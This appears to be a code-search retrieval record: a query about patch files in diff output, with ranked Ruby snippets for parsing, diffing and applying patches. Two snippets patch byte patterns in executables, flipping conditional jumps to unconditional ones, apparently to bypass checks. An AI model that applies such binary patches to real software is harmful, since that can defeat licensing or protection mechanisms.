"text": "def begin_block\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 52 )\n return_value = BeginBlockReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n begin_block_start_index = @input.index\n\n root_0 = nil\n string_literal456 = nil\n string_literal458 = nil\n string_literal460 = nil\n seq_of_statements457 = nil\n exception_handler459 = nil\n\n tree_for_string_literal456 = nil\n tree_for_string_literal458 = nil\n tree_for_string_literal460 = nil\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n root_0 = @adaptor.create_flat_list\n\n\n # at line 386:4: 'BEGIN' ( seq_of_statements ) ( 'EXCEPTION' ( exception_handler )+ )? 'END'\n string_literal456 = match( T__55, TOKENS_FOLLOWING_T__55_IN_begin_block_2551 )\n if @state.backtracking == 0\n\n tree_for_string_literal456 = @adaptor.create_with_payload( string_literal456 )\n @adaptor.add_child( root_0, tree_for_string_literal456 )\n\n end\n # at line 387:3: ( seq_of_statements )\n # at line 387:5: seq_of_statements\n @state.following.push( TOKENS_FOLLOWING_seq_of_statements_IN_begin_block_2557 )\n seq_of_statements457 = seq_of_statements\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, seq_of_statements457.tree )\n end\n\n # at line 388:3: ( 'EXCEPTION' ( exception_handler )+ )?\n alt_108 = 2\n look_108_0 = @input.peek( 1 )\n\n if ( look_108_0 == T__61 )\n alt_108 = 1\n end\n case alt_108\n when 1\n # at line 388:5: 'EXCEPTION' ( exception_handler )+\n string_literal458 = match( T__61, TOKENS_FOLLOWING_T__61_IN_begin_block_2565 )\n if @state.backtracking == 0\n\n tree_for_string_literal458 = @adaptor.create_with_payload( string_literal458 )\n @adaptor.add_child( root_0, tree_for_string_literal458 )\n\n end\n # at file 388:17: ( exception_handler )+\n match_count_107 = 0\n while true\n alt_107 = 2\n look_107_0 = @input.peek( 1 )\n\n if ( look_107_0 == T__63 )\n alt_107 = 1\n\n end\n case alt_107\n when 1\n # at line 388:19: exception_handler\n @state.following.push( TOKENS_FOLLOWING_exception_handler_IN_begin_block_2569 )\n exception_handler459 = exception_handler\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, exception_handler459.tree )\n end\n\n else\n match_count_107 > 0 and break\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n eee = EarlyExit(107)\n\n\n raise eee\n end\n match_count_107 += 1\n end\n\n\n end\n string_literal460 = match( T__54, TOKENS_FOLLOWING_T__54_IN_begin_block_2579 )\n if @state.backtracking == 0\n\n tree_for_string_literal460 = @adaptor.create_with_payload( string_literal460 )\n @adaptor.add_child( root_0, tree_for_string_literal460 )\n\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 52 )\n memoize( __method__, begin_block_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"title": ""
},
{
"docid": "5bc992ccbe555ed591dc692c74302299",
"score": "0.46918496",
"text": "def each\n @body.each { |x| yield x }\n end",
"title": ""
},
{
"docid": "2d44cc938eecdad2fd253d5a34c5f442",
"score": "0.46915576",
"text": "def transforming_body_expr; end",
"title": ""
},
{
"docid": "2d44cc938eecdad2fd253d5a34c5f442",
"score": "0.46915576",
"text": "def transforming_body_expr; end",
"title": ""
},
{
"docid": "4fcac3b4f26395cd30bcf083c0bc29ae",
"score": "0.46905327",
"text": "def sexp_body= v\n self[1..-1] = v\n end",
"title": ""
}
] |
97024ef4b530e6f3310cf294b7e47850
|
Patch files on diff outputs used to be parsed as part of the diff adding invalid modificaction to the diff results.
|
[
{
"docid": "c6d4475ceb0aac3d552a4d8dfff2b4b1",
"score": "0.0",
"text": "def test_diff_patch\n d = @git.diff('diff_over_patches~2', 'diff_over_patches')\n assert_equal(1, d.count)\n end",
"title": ""
}
] |
[
{
"docid": "d3baa4152e4aa45a060ed3e5932c5952",
"score": "0.6805818",
"text": "def apply diff_file, opts={}\n shell_opts = shellopts(opts)\n patchfile, _ = normalize_from diff_file\n /\\A(?:()|(.+)\\.)diff\\Z/ =~ diff_file or fail(\"patch needs .diff ext.\")\n basename = $1 || $2\n if ! File.exist?(patchfile) && @opts[:patch_hack]\n return patch_hack(diff_file)\n end\n target, _ = normalize_on(basename)\n cmd = nil\n if target == './'\n shell_opts.unshift('-p0') unless shell_opts.grep(/\\A-p\\d+\\Z/).any?\n cmd = ['patch '+Shellwords.shelljoin(shell_opts)+' < '+\n Shellwords.shellescape(patchfile)]\n else\n target_arr = (target == './') ? [] : [target]\n cmd = ['patch', '-u', *shell_opts] + target_arr + [patchfile]\n end\n notice \"patching:\", cmd.join(' ')\n out, err = Sopen2::sopen2(*cmd)\n if err.length > 0\n cmd_str = cmd.shelljoin\n msg = sprintf(\n \"Failed to run patch command: %s\\nstdout was: %sstderr was: %s\",\n cmd_str, out, err)\n fail msg\n else\n pretty_puts_apply out, cmd\n end\n end",
"title": ""
},
{
"docid": "26286621ef32f4d44efbd00ba61d625e",
"score": "0.6765313",
"text": "def run\n errors = run_yard\n\n ruby_patches.map do |patch|\n # TODO: Move this to a regex or something, but don't use a private method\n path = patch.send(:new_file_path)\n errors_for_patch = errors.select { |error| error.file == path }\n\n inspect(patch, errors_for_patch)\n end.flatten.compact\n end",
"title": ""
},
{
"docid": "fb63140af7006a8674335cfe567a5e2b",
"score": "0.6595375",
"text": "def apply_patch(patch, file)\n if File.exist?(\"changes.patch\")\n puts \"\\n\\n=== Diff ===\"\n puts File.read(\"changes.patch\")\n end\n if agree(\"Would you like to apply this patch?\")\n puts \"Applying patch ...\"\n p sh(\"patch #{file} changes.patch\")\n else\n abort \"Patch skipped, exiting\"\n end\nend",
"title": ""
},
{
"docid": "9e6a06c410c61f68fdb1e13fff3afcbe",
"score": "0.6401855",
"text": "def patch\n target = \".\"\n THEMED_DIRS.each do |themed_dir|\n if @options[:reverse]\n source = File.join(rails_env.root, GIT_DIR, name, themed_dir)\n dir = File.join(rails_env.root, themed_dir, \"themes\", name)\n else\n dir = File.join(rails_env.root, GIT_DIR, name, themed_dir)\n source = File.join(rails_env.root, themed_dir, \"themes\", name)\n end\n FileUtils.cd(dir, :verbose => @options[:verbose])\n RakeUtils.test_directory(source)\n tmp = File.join(rails_env.root, \"tmp/patch.diff\")\n run_command_without_check(\"diff -ur #{target} #{source} > #{tmp}\")\n run_command_without_check(\"patch -p0 < #{tmp}\")\n end\n end",
"title": ""
},
{
"docid": "bd8c74545493d6b9ceb601c14f06cdbb",
"score": "0.63515395",
"text": "def patches\n # Makefile patch\n DATA\n end",
"title": ""
},
{
"docid": "f323babc1632a06040680ebb5abd9522",
"score": "0.6309518",
"text": "def diff_files; end",
"title": ""
},
{
"docid": "7af6f789fd4f746570f13ca8a911580d",
"score": "0.6291191",
"text": "def write(dotfile)\n new_dir = File.join(ROOT_DIR, 'diffs', 'new')\n FileUtils.mkdir_p new_dir\n FileUtils.cp File.join(ROOT_DIR, 'base', dotfile), new_dir\n Dir.chdir new_dir\n patchfile = File.join(ROOT_DIR, 'patches', dotfile)\n system \"#{PATCH} #{patchfile}\" if File.exists? patchfile\n FileUtils.cp File.join(new_dir, dotfile), HOME_DIR\nend",
"title": ""
},
{
"docid": "a9a084f49185b6b00fb19fc7c2811448",
"score": "0.62737155",
"text": "def backups_patch\n return unless $backup_path\n\n hash = Digest::SHA2.new.update(Time.new.strftime(\"%Y%m%d%H%M%S\")).to_s\n patch_command = \"\" +\n \"find . -type f | \" +\n \"grep -v #{hash}.patch | \" +\n \"cut -c3- | \" +\n \"xargs -I {} sh -c \\\"\" +\n # Check if actual file exists, or use /dev/null\n \"if [ -f #{$options[:remote_path]}/{} ]; then \" +\n \"diff -u -x #{hash}.patch --label a/{} --label b/{} ./{} #{$options[:remote_path]}/{} \" +\n \"; else \" +\n \"diff -u -x #{hash}.patch --label a/{} --label b/{} ./{} /dev/null \" +\n \"; fi\" +\n \"\\\"\"\n say \"#{ANSI::YELLOW}Generating patch file #{hash}.patch.#{ANSI::CLEAR}\"\n command = %Q:ssh #{$options[:server]} 'cd #{$options[:remote_path]}/#{$backup_path} 2>/dev/null || exit; #{patch_command} | #{sudo_command} tee -a #{$options[:remote_path]}/#{$backup_path}/#{hash}.patch > /dev/null':\n debug command\n system command\n $diff_contents = `ssh #{$options[:server]} 'cat #{$options[:remote_path]}/#{$backup_path}/#{hash}.patch'`\n $diff_name = ($options[:label].nil? ? hash : $options[:label]) + \"/#{$backup_path}/#{hash}.patch\"\nend",
"title": ""
},
{
"docid": "1f31069986217505f0dcb30faf3e4176",
"score": "0.6248698",
"text": "def accumulate_diffs(diff_filenames, output_filename)\nend",
"title": ""
},
{
"docid": "7c3aa4e763d6850ed7361cd704fdb22c",
"score": "0.6230473",
"text": "def apply_patch(patch, options)\n options[:strip] ||= 1\n options[:fuzz] ||= 2\n \n patch_path = File.expand_path(patch)\n info 'Path to the patch to apply: ' + patch_path\n copy_in(options[:copy_in], @target_dir) if options[:copy_in]\n\n # Apply the patch by calling 'patch -pNUMBER < patch'\n Dir.chdir @target_dir do\n opts = [\"--verbose\", \"-p#{options[:strip]}\", \"--fuzz=#{options[:fuzz]}\", \"#{options[:patch_options]}\"]\n IO.popen(\"patch #{opts.join(' ')} < #{patch_path} 2>&1\") do |out|\n std = out.readlines\n out.close\n info std\n\n unless $?.nil?\n if $?.exitstatus == 0\n @output << \"Succesfully patched with #{patch}\"\n else\n @output << \"Error: Unable to patch with #{patch}.\"\n\n unless Gem.configuration.really_verbose\n @output << 'Run gem patch with --verbose option to swich to verbose mode.'\n end\n end\n end\n\tstd\n end\n end\n end",
"title": ""
},
{
"docid": "a918db6cc9f643a517aab8199edf85ff",
"score": "0.61939263",
"text": "def file_patch(data)\n return if data.nil?\n\n Tempfile.open('onescape-') do |tmp|\n tmp.close\n save(tmp.path)\n\n out, err, rtn = Base.run_shell_command(\"patch -f #{tmp.path}\",\n data)\n\n unless rtn.success?\n OneCfg::LOG.debug('Patch command failed with output - ' \\\n \"#{out.tr(\"\\n\", ' ')} \" \\\n \"#{err.tr(\"\\n\", ' ')}\")\n\n raise OneCfg::Config::Exception::PatchException,\n 'Patch command failed'\n end\n\n load(tmp.path)\n end\n\n true\n end",
"title": ""
},
{
"docid": "3974088835630f7be686efd09600d527",
"score": "0.61836696",
"text": "def patch_with(patches, options)\n @std, @output = [], []\n\n check_patch_command_is_installed\n extract_gem\n copy_in(options[:copy_in], @target_dir) if options[:copy_in]\n\n # Apply all patches\n patches.each do |patch|\n info 'Applying patch ' + patch\n @std << apply_patch(patch, options)\n end\n remove(options[:remove], @target_dir) if options[:remove]\n # Rebuild only if there weren't any problems\n build_patched_gem unless failed?\n\n options[:outfile] ||= File.join(@output_dir, @package.spec.file_name)\n FileUtils.mv((File.join @target_dir, @package.spec.file_name), options[:outfile]) unless options[:dry_run]\n\n # Return the path to the patched gem\n options[:outfile]\n end",
"title": ""
},
{
"docid": "99085aecf8c2c556d3098b3aef9e7ea7",
"score": "0.61208886",
"text": "def files_changed_in_patch(patchfile, tap)\n files = []\n formulae = []\n others = []\n File.foreach(patchfile) do |line|\n files << $1 if line =~ %r{^\\+\\+\\+ b/(.*)}\n end\n files.each do |file|\n if (tap && tap.formula_file?(file)) || (ARGV.include?(\"--legacy\") && file.start_with?(\"Library/Formula/\"))\n formula_name = File.basename(file, \".rb\")\n formulae << formula_name unless formulae.include?(formula_name)\n else\n others << file\n end\n end\n { :files => files, :formulae => formulae, :others => others }\n end",
"title": ""
},
{
"docid": "085ad1c5614d36d24516216704ff4c00",
"score": "0.61016196",
"text": "def add_comments\n @files.each do |file|\n patch_info = Patch.new(file.patch).additions_map\n temp_file = Tempfile.new('temp')\n\n line_count = edited_line_count = current_patch = 0\n in_patch = false\n edit_locations = []\n\n begin\n File.open(file.filename, \"r\").each_line do |line|\n line_count += 1\n edited_line_count += 1\n\n if line_count == patch_info[current_patch].first\n temp_file.puts generate_spaces(line) + RUBOCOP_ENABLE\n in_patch = true\n edit_locations.push edited_line_count\n edited_line_count += 1\n\n elsif in_patch && patch_info[current_patch].last + 1 == line_count\n temp_file.puts generate_spaces(line) + RUBOCOP_DISABLE\n in_patch = false\n edit_locations.push edited_line_count\n edited_line_count += 1\n current_patch += 1 unless (current_patch + 1) >= patch_info.size\n\n elsif line_count == 1 #adds disable at top of file\n temp_file.puts generate_spaces(line) + RUBOCOP_DISABLE\n edit_locations.push edited_line_count\n edited_line_count += 1\n\n end\n temp_file.puts line\n end\n\n temp_file.close\n FileUtils.mv(temp_file.path, file.filename)\n @edit_map[file.filename] = edit_locations\n ensure\n temp_file.close\n temp_file.unlink\n end\n end\n end",
"title": ""
},
{
"docid": "4d7e25b710daf6e22cf4674c036d1a14",
"score": "0.6090253",
"text": "def patch(filename)\r\n @total[0] += 1\r\n puts \"\\n\\e[1;33mProcessing\\e[0m #{filename}...\"\r\n # do not patch patched ones\r\n if File.exist?(filename + \".bak\") then puts(filename + \" might have already been patched. \\e[1;33mNo operation performed.\\e[0m\"); return false end\r\n f = open(filename, \"r+b\") # read and write, binary\r\n g = open(filename + \".bak\", \"wb\")\r\n @times = 0 # number of to-be-patched patterns\r\n @bytes = 0 # processed length [in tenths MB]\r\n loop do\r\n b = f.gets(sep=\"\\x75\") # read until met with 0x75 (JNZ)\r\n if b.nil? then f.close; g.close; break end # EOF\r\n len = b.size # read length\r\n g.write(b) # copy\r\n mb = @bytes.to_i; @bytes += len/104857.6 # check if the change is larger than 0.1 MB (to run more smoothly)\r\n print(\"\\r\\e[1;33mProcessed\\e[0m ~%.1f MB. \" % (@bytes/10)) if @bytes.to_i != mb\r\n\r\n next if len < 14\r\n d = b[-14, 12] # check the pattern\r\n case d\r\n when \"\\xff\\xff\\xff\\x41\\xbc\\x00\\x00\\x00\\x00\\x44\\x0f\\x4f\".force_encoding(\"ASCII-8BIT\")\r\n puts \"\\r\\e[1;32mFound pattern\\e[0m, MOV R12D, 0 -> MOV R12D, -1: FF FF FF \\e[7m41 BC 00 00 00 00\\e[0m 44 0F 4F\"\r\n f.seek(-9, 1); f.write(\"\\xff\\xff\\xff\\xff\"); f.seek(5, 1)\r\n when \"\\x33\\xc0\\xb9\\xff\\xff\\xff\\xff\\x3b\\x55\\xdc\\x0f\\x4f\".force_encoding(\"ASCII-8BIT\")\r\n puts \"\\r\\e[1;32mFound pattern\\e[0m, XOR EAX, EAX -> MOV AL, -1: \\e[7m33 C0\\e[0m B9 FF FF FF FF 3B 55 DC 0F 4F\"\r\n f.seek(-14, 1); f.write(\"\\xb0\\xff\"); f.seek(12, 1)\r\n else\r\n next # not a to-be-patched pattern; roll back\r\n end\r\n @times += 1\r\n end\r\n if @times.zero?\r\n # not applicable\r\n File.delete(filename + \".bak\"); puts \"\\e[1;33mNo to-be-patched pattern found in \\e[0m\" + filename\r\n return false\r\n else\r\n puts \"\\e[1;32mPatched \" + @times.to_s + \" place(s) in \\e[0m\" + filename\r\n @total[1] += 1\r\n return true\r\n end\r\nrescue Interrupt # Ctrl-C\r\n puts \"\\e[1;33mDo you want to \\e[4mC\\e[24montinue, to stop patching this \\e[4mF\\e[24mile or to stop the whole \\e[4mO\\e[24mperation?\\e[0m\"\r\n print \"(C/F/O; Note that all these may cause unrepairable damage to the file): \"\r\n # cleanse well\r\n f.close; g.close\r\n File.delete(filename + \".bak\")\r\n case STDIN.gets.downcase[0]\r\n when \"c\"\r\n @total[0] -= 1; retry\r\n when \"o\"\r\n puts \"\\nIn this operation, \\e[1;32m#{@total[1]} out of #{@total[0]} file(s) have been patched.\\e[0m\"; exit \r\n end\r\n return false\r\nrescue # error\r\n puts \"\\e[1;31mError occurred:\\e[0m\"\r\n puts $!.inspect\r\n puts $@.inspect\r\n return false\r\nend",
"title": ""
},
{
"docid": "546552c01f0c95ace7b5eaa57ec7a6ec",
"score": "0.6083163",
"text": "def apply_diff(diff)\n self.lib.apply_patch(diff.patch())\n end",
"title": ""
},
{
"docid": "45165d0ce645fdfe1ff6212a213ff517",
"score": "0.59723777",
"text": "def apply_patch(patch_body)\n Tempfile.open('pg-quilter-postgres', '/tmp') do |f|\n f.write patch_body\n f.flush\n git %W(apply --summary --stat --apply --verbose #{f.path})\n end\n rescue ExecError => e\n sentinel_path = File.join(::PGQuilter::Config::WORK_DIR,\n ::PGQuilter::Config::BAD_PATCH_SENTINEL)\n FileUtils.touch(sentinel_path)\n raise PatchError, e.stderr\n end",
"title": ""
},
{
"docid": "8dda6e854992d38fa299c04cf55b74b5",
"score": "0.5945171",
"text": "def patch_directory(target_dir, patch_dir,\n whitelist: nil,\n options: {})\n if File.directory?(patch_dir)\n Packager.warn \"Applying overlay (patch) from: #{patch_dir} to #{target_dir}, whitelist: #{whitelist}\"\n if !whitelist\n Dir.mktmpdir do |dir|\n FileUtils.cp_r(\"#{patch_dir}/.\", \"#{dir}/.\")\n Dir.glob(\"#{dir}/**/*\").each do |file|\n prepare_patch_file(file, options: options)\n end\n FileUtils.cp_r(\"#{dir}/.\",\"#{target_dir}/.\")\n end\n else\n require 'tempfile'\n whitelist.each do |pattern|\n files = Dir[\"#{patch_dir}/#{pattern}\"]\n files.each do |f|\n if File.exist?(f)\n tmpfile = Tempfile.new(File.basename(f))\n FileUtils.cp_r(f, tmpfile)\n prepare_patch_file(tmpfile.path, options: options)\n target_file = File.join(target_dir,File.basename(f))\n FileUtils.cp_r(tmpfile, target_file)\n Packager.warn \"Patch target (#{target_file}) with #{tmpfile.path}\"\n end\n end\n end\n end\n\n # We need to commit if original files have been modified\n # so add a commit\n orig_files = Dir[\"#{patch_dir}/**\"].reject { |f| f[\"#{patch_dir}/debian/\"] }\n return orig_files.size > 0\n else\n Packager.warn \"No patch dir: #{patch_dir}\"\n return false\n end\n end",
"title": ""
},
{
"docid": "05813aff89456939b87fddbe4d02d8b7",
"score": "0.5939574",
"text": "def test_diff_and_patch\n\n #../bsdiff b0 b1 p0\n #../bspatch b0 b3 p0\n\n b0_chk = OpenSSL::Digest::MD5.hexdigest(File.read('test/fixtures/b0'))\n b1_chk = OpenSSL::Digest::MD5.hexdigest(File.read('test/fixtures/b1'))\n\n # create patch file from bspatch.o to bsdiff.o\n BSDiff.diff('test/fixtures/b0', 'test/fixtures/b1', 'tmp/p0')\n\n # apply patch to bspatch.o as bspatch2.o\n BSDiff.patch('test/fixtures/b0', 'tmp/b3', 'tmp/p0')\n\n b3_chk = OpenSSL::Digest::MD5.hexdigest(File.read('tmp/b3'))\n\n # bspatch2.o should equal bsdiff.o\n assert_equal(b1_chk,b3_chk)\n end",
"title": ""
},
{
"docid": "0a3799f29fc2c57820cd98bef54f7a47",
"score": "0.5933262",
"text": "def diff(_argv)\n diff_tool = ENV['DIFF'] || '/usr/bin/sdiff -s'\n sbc_path = @factory.path\n logger(Logger::DEBUG) { \"Using sbc_path: #{sbc_path}\" }\n\n require 'tempfile'\n before_file = Tempfile.new('before')\n after_file = Tempfile.new('after')\n\n Dir.chdir(sbc_path) do\n system(\"git diff --quiet\") # returns 0 if working tree clean, 1 if dirty\n if $CHILD_STATUS.to_i == 0\n system(\"git checkout HEAD~1\")\n @factory.refresh\n before_file.write(generate_compile_output)\n system(\"git checkout -\")\n @factory.refresh\n after_file.write(generate_compile_output)\n else\n fail('Stackbuilder-config working tree not clean. Commit your changes or use --stash') unless @stash\n after_file.write(generate_compile_output)\n system(\"git stash\")\n @factory.refresh(@validate)\n before_file.write(generate_compile_output)\n system(\"git stash pop --index\")\n end\n end\n system(\"#{diff_tool} #{before_file.path} #{after_file.path}\") if $CHILD_STATUS.to_i == 0\n before_file.unlink\n after_file.unlink\n end",
"title": ""
},
{
"docid": "ac086464df1814c02b2f274e5913095a",
"score": "0.59266233",
"text": "def patches\n \"https://github.com/ReadyTalk/avian/commit/69ea1f57219e0ec1b113f1fcadaa3dae6b93f358.diff\"\n end",
"title": ""
},
{
"docid": "5884edf3028a808ba11c9e1792725b22",
"score": "0.59200215",
"text": "def patch(file = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "f271118c04d7243efb14d22a862ec092",
"score": "0.5917716",
"text": "def patch(file = nil)\n cache_full\n @full_diff\n end",
"title": ""
},
{
"docid": "414db9a7bbc228176055f4952af432be",
"score": "0.5910705",
"text": "def patches\n\t\t@patches ||= files.select{ |f| f.end_with?(\".zip\") }.map{ |u| Rubyfocus::Patch.new(self,u) }\n\tend",
"title": ""
},
{
"docid": "d6a9ceccc6cfdda85a5a7afa4d81e803",
"score": "0.5901742",
"text": "def patch(patchfile, level = '0', where = '/')\n temp_name = random_string\n begin\n fput(patchfile, temp_name, :mode => 0600)\n send(run_method, %{\n patch -p#{level} -tNd #{where} -r /dev/null < #{temp_name} || true\n })\n ensure\n delete temp_name\n end\n end",
"title": ""
},
{
"docid": "a46612d5dd370f9fbafb3a6ba3449d61",
"score": "0.5899658",
"text": "def apply_patch(patch)\n arr_opts = []\n arr_opts << '-3'\n arr_opts << '-'\n\n Dir.chdir(@git_work_dir) do \n command('apply', arr_opts) do |io|\n io.puts(patch)\n end\n end\n end",
"title": ""
},
{
"docid": "57621e1b5ade0c608203369dfcea89ed",
"score": "0.58986473",
"text": "def patches\n [\n \"https://trac.macports.org/export/94734/trunk/dports/devel/ice-cpp/files/patch-ice.cpp.config.Make.rules.Darwin.diff\",\n DATA\n ]\n end",
"title": ""
},
{
"docid": "169e0a622cbbeb40c5bd9b92bb7f45e9",
"score": "0.5875888",
"text": "def patch_directory(target_dir, patch_dir, whitelist = nil)\n if File.directory?(patch_dir)\n Packager.warn \"Applying overlay (patch) from: #{patch_dir} to #{target_dir}, whitelist: #{whitelist}\"\n if !whitelist\n Dir.mktmpdir do |dir|\n FileUtils.cp_r(\"#{patch_dir}/.\", \"#{dir}/.\")\n Dir.glob(\"#{dir}/**/*\").each do |file|\n prepare_patch_file(file)\n end\n FileUtils.cp_r(\"#{dir}/.\",\"#{target_dir}/.\")\n end\n else\n require 'tempfile'\n whitelist.each do |pattern|\n files = Dir[\"#{patch_dir}/#{pattern}\"]\n files.each do |f|\n if File.exist?(f)\n tmpfile = Tempfile.new(File.basename(f))\n FileUtils.cp_r(f, tmpfile)\n prepare_patch_file(tmpfile.path)\n target_file = File.join(target_dir,File.basename(f))\n FileUtils.cp_r(tmpfile, target_file)\n Packager.warn \"Patch target (#{target_file}) with #{tmpfile.path}\"\n end\n end\n end\n end\n\n # We need to commit if original files have been modified\n # so add a commit\n orig_files = Dir[\"#{patch_dir}/**\"].reject { |f| f[\"#{patch_dir}/debian/\"] }\n return orig_files.size > 0\n else\n Packager.warn \"No patch dir: #{patch_dir}\"\n return false\n end\n end",
"title": ""
},
{
"docid": "f13b0a3db36d8fd2e5f3f4f0c3bb476f",
"score": "0.58311284",
"text": "def file_diff(cfg)\n file_a = Tempfile.new('onescape-')\n file_b = Tempfile.new('onescape-')\n\n file_a.close\n file_b.close\n\n save(file_a.path)\n cfg.save(file_b.path)\n\n cmd = 'diff -ud --label old --label new ' \\\n \"#{file_a.path} #{file_b.path}\"\n\n out, _err, rtn = Base.run_shell_command(cmd)\n\n # Exit status is (based on diff manual page)\n # 0 if inputs are the same,\n # 1 if different,\n # 2 if trouble\n case rtn.exitstatus\n when 0\n nil\n when 1\n out\n else\n msg = 'Error generating diff'\n\n raise OneCfg::Exception::Generic, msg\n end\n ensure\n # TODO: is this better?\n file_a.unlink if defined?(file_a)\n file_b.unlink if defined?(file_b)\n end",
"title": ""
},
{
"docid": "a1701e15127ad2261ed43c496603fe27",
"score": "0.5819612",
"text": "def update_file_vulnerabilities(files, c)\n # For every change in this commit\n c.diff(c.parents.first).each_patch do |patch|\n delta = patch.delta\n # If it's a modification change\n if delta.modified?\n filepath = delta.old_file[:path]\n # And the path to the changed file isn't to be ignored\n if !should_ignore_file(filepath)\n # Then update that file's status with more churn and bug data\n file = files.get_file(filepath)\n file.vulnerabilities += 1\n end\n end\n end\nend",
"title": ""
},
{
"docid": "cf08ea288ef841434a903864847ce8e0",
"score": "0.5812706",
"text": "def patch(lines)\n matched_before = match_before_patch lines\n matched_after = match_after_patch lines\n\n if matched_after\n if not matched_before\n raise AlreadyPatchedError.new(\"Hunk #{num} (#{title}) is already patched.\")\n elsif has_add?\n raise AlreadyPatchedError.new(\"Hunk #{num} (#{title}) is already patched.\")\n end\n elsif not matched_before\n raise PatchHunkError, \"Hunk #{num} (#{title}) FAILED to apply. Match failed.\"\n end\n\n n, size = matched_before\n lines[n...(n+size)] = convert lines[n...(n+size)]\n lines\n end",
"title": ""
},
{
"docid": "d6e5c80da19bb01c6584bcf412155461",
"score": "0.5771185",
"text": "def patches\n {:p0 =>\n \"https://trac.macports.org/export/103350/trunk/dports/devel/geany/files/patch-no-export-dynamic.diff\"\n }\n end",
"title": ""
},
{
"docid": "41cac79eb02df2ac05f46a3a95f17512",
"score": "0.576124",
"text": "def call\n review_results = CommitReview.new(@commit).call\n @commit.changed_files.each do |file|\n file.to_h[:filename]\n added_lines = GithubParser::PatchParser.new(file.to_h[:patch]).added_lines\n review_results[file].select! { |change| added_lines.includes? change.line }\n end\n review_results\n end",
"title": ""
},
{
"docid": "ae522e5b43bd0f50b0c2bf4b0c20f389",
"score": "0.5740848",
"text": "def patch(filename)\r\n puts \"\\n\\e[1;33mProcessing\\e[0m #{filename}...\"\r\n # do not patch patched ones\r\n if File.exist?(filename + \".bak\")\r\n puts 'This file might have already been patched [Press `Y\\' to override].'\r\n if `choice /N`.chomp.downcase != 'y'\r\n puts(\"\\e[1;33mNo operation performed.\\e[0m\")\r\n return false\r\n end\r\n end\r\n f = open(filename, \"r+b\") # read and write, binary\r\n g = open(filename + \".bak\", \"wb\")\r\n @times = 0 # number of to-be-patched patterns\r\n loop do\r\n b = f.gets(sep=\"\\x80\") # read until met with 0x80\r\n if b.nil? then f.close; g.close; break end # EOF\r\n len = b.size # read length\r\n g.write(b) # copy\r\n \r\n next if len < 17\r\n d = b[-17, 17] # check the pattern\r\n case d[-4, 4]\r\n when \"\\x0b\\x00\\x00\\x80\"\r\n ind = d.index(\"\\x75\")\r\n next if ind.nil?\r\n pat = f.read(17); f.seek(-17, 1)\r\n next unless pat.include?(\"\\x0b\\x00\\x00\\x80\")\r\n puts \"\\e[1;32mFound pattern\\e[0m, JNZ -> JMP: \\e[7m75 ..\\e[0m .* \\e[7m0B 00 00 80\\e[0m .* \\e[7m0B 00 00 80\\e[0m\"\r\n f.seek(ind - 17, 1); f.write(\"\\xeb\"); f.seek(16 - ind, 1)\r\n when \"\\x0c\\x00\\x00\\x80\"\r\n ind = d.index(\"\\x75\")\r\n next if ind.nil?\r\n pat = f.read(17); f.seek(-17, 1)\r\n next unless pat.include?(\"\\x0c\\x00\\x00\\x80\")\r\n puts \"\\e[1;32mFound pattern\\e[0m, JNZ -> JMP: \\e[7m75 ..\\e[0m .* \\e[7m0C 00 00 80\\e[0m .* \\e[7m0C 00 00 80\\e[0m\"\r\n f.seek(ind - 17, 1); f.write(\"\\xeb\"); f.seek(16 - ind, 1)\r\n when \"\\x06\\x00\\x09\\x80\"\r\n ind = d.index(\"\\x0f\\x85\")\r\n next if ind.nil?\r\n puts \"\\e[1;32mFound pattern\\e[0m, JNZ -> JMP: \\e[7m0F 85 .. .. .. ..\\e[0m .* \\e[7m06 00 09 80\\e[0m ..\"\r\n f.seek(ind - 17, 1); f.write(\"\\x90\\xe9\"); f.seek(15 - ind, 1)\r\n else\r\n next # not a to-be-patched pattern; roll back\r\n end\r\n @times += 1\r\n end\r\n if @times.zero?\r\n # not applicable\r\n File.delete(filename + \".bak\"); puts \"\\e[1;33mNo to-be-patched pattern found in this file.\\e[0m\"\r\n return false\r\n else\r\n puts \"\\e[1;33mPatched #{@times} place(s) in this file.\\e[0m\"\r\n @total[1] += 1\r\n return true\r\n end\r\nrescue # error\r\n puts \"\\e[1;31mError occurred:\\e[0m\"\r\n puts $!.inspect\r\n puts $@.inspect\r\n return false\r\nend",
"title": ""
},
{
"docid": "2bd76657de6a93414d68afccde0b9bc0",
"score": "0.573705",
"text": "def initialize(diff_path, always_overwrite, subdir = nil, current_dir = false)\n @diff_path = diff_path\n @always_overwrite = always_overwrite\n @original_path = \"\"\n @out_path = \"\"\n\n out_bytes = \"\"\n in_bytes = \"\"\n\n diff_file = File.open(diff_path, \"r\")\n @patch = diff_file.read\n diff_file.close\n @diff_lines = @patch.split(\"\\n\")\n\n if @diff_lines[0] =~ /^original = (.*)$/\n @original_path = $1\n else \n raise \"Error: malformed patch line #{@diff_lines[0]}\"\n end\n\n if @diff_lines[1] =~ /^new = (.*)$/\n @out_path = $1\n else \n raise \"Error: malformed patch line #{@diff_lines[1]}\"\n end\n @out_path_in_file = @out_path\n\n if current_dir\n @out_path = \"./#{File.basename(@out_path)}\"\n end\n\n if subdir\n @out_path = File.dirname(@out_path) + \"/#{subdir}/\" + File.basename(@out_path)\n end\n\n @diff_lines = @diff_lines[2..-1] #cut off the first 2 lines.\n\n end",
"title": ""
},
{
"docid": "cb8e580a00338722081e7e8c354f56ab",
"score": "0.5733203",
